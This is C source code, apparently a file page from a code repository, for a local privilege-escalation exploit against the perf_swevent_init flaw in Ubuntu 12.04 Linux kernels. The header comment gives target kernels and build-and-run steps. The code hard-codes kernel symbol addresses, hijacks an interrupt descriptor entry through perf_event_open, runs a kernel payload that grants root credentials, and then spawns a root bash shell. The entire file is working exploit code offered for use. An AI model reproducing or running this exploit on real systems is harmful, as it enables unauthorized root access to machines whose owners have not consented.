133 lines
3.6 KiB
C
Executable file
133 lines
3.6 KiB
C
Executable file
/**
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* Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
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* by Vitaly Nikolenko (vnik5287@gmail.com)
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*
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* based on semtex.c by sd
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*
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* Supported targets:
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* [0] Ubuntu 12.04.0 - 3.2.0-23-generic
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* [1] Ubuntu 12.04.1 - 3.2.0-29-generic
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* [2] Ubuntu 12.04.2 - 3.5.0-23-generic
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*
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* $ gcc vnik.c -O2 -o vnik
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*
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* $ uname -r
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* 3.2.0-23-generic
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*
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* $ ./vnik 0
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*/
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#define _GNU_SOURCE 1
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#include <stdint.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <sys/mman.h>
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#include <syscall.h>
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#include <stdint.h>
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#include <assert.h>
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#define BASE 0x1780000000
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#define SIZE 0x0010000000
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#define KSIZE 0x2000000
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#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
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typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
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typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
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uint64_t targets[3][3] =
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{{0xffffffff81ef67e0, // perf_swevent_enabled
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0xffffffff81091630, // commit_creds
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0xffffffff810918e0}, // prepare_kernel_cred
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{0xffffffff81ef67a0,
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0xffffffff81091220,
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0xffffffff810914d0},
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{0xffffffff81ef5940,
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0xffffffff8107ee30,
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0xffffffff8107f0c0}
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};
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void __attribute__((regparm(3))) payload() {
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uint32_t *fixptr = (void*)AB(1);
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// restore the handler
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*fixptr = -1;
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commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
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prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
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commit_creds(prepare_kernel_cred((uint64_t)NULL));
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}
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void trigger(uint32_t off) {
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uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
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int fd = syscall(298, buf, 0, -1, -1, 0);
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assert( !close(fd) );
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}
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int main(int argc, char **argv) {
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uint64_t off64, needle, kbase, *p;
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uint8_t *code;
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uint32_t int_n, j = 5, target = 1337;
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int offset = 0;
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void *map;
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assert(argc == 2 && "target?");
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assert( (target = atoi(argv[1])) < 3 );
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struct {
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uint16_t limit;
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uint64_t addr;
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} __attribute__((packed)) idt;
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// mmap user-space block so we don't page fault
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// on sw_perf_event_destroy
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assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
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memset(map, 0, SIZE);
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asm volatile("sidt %0" : "=m" (idt));
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kbase = idt.addr & 0xff000000;
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printf("IDT addr = 0x%lx\n", idt.addr);
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assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
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memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
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memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
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// can only play with interrupts 3, 4 and 0x80
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for (int_n = 3; int_n <= 0x80; int_n++) {
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for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
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int off32 = off64;
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if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
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offset = off32;
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goto out;
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}
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}
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if (int_n == 4) {
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// shit, let's try 0x80 if the kernel is compiled with
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// CONFIG_IA32_EMULATION
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int_n = 0x80 - 1;
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}
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}
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out:
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assert(offset);
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printf("Using int = %d with offset = %d\n", int_n, offset);
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for (j = 0; j < 3; j++) {
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needle = AB(j+1);
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assert(p = memmem(code, 1024, &needle, 8));
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*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
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}
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trigger(offset);
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switch (int_n) {
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case 3:
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asm volatile("int $0x03");
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break;
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case 4:
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asm volatile("int $0x04");
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break;
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case 0x80:
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asm volatile("int $0x80");
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}
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assert(!setuid(0));
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return execl("/bin/bash", "-sh", NULL);
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}
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